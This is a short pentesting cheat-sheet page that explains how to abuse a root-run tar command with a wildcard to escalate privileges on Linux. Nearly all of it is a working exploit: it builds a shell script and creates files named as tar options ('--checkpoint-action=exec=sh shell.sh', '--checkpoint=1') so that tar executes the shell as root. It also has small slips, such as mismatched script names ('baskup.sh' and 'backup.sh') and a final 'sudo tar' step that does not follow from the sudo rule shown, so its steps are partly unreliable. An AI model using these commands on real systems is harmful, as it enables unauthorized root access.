Tar Wildcard Injection PrivEsc

Last modified: 2023-04-01

Privilege Escalation

Tar command with wildcard injection may lead to privilege escalation (PrivEsc).


For example, below command can be executed as root.

sudo -l

(root) NOPASSWD: /opt/backup/baskup.sh

Check If the File Contains Tar Command with Wildcards

We need to check the content in the file.

cat /opt/backup/backup.sh

# -cf: create an archived file
tar -cf backup.tar *

The above tar command means that it creates an arvhived file from any input file because it passes wildcard (*).


Now create a payload for privilege escalation.

cd /opt/backup
echo -e '#!/bin/bash\n/bin/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

We've created three files.

ls /opt/backup

shell.sh  '--checkpoint-action=exec=sh shell.sh'  '--checkpoint=1'

Now execute "tar" command as root with wildcard.

sudo tar -cf example.tar *

Wait until "tar" command will be executed.
After a while, we should see the current user switch to root.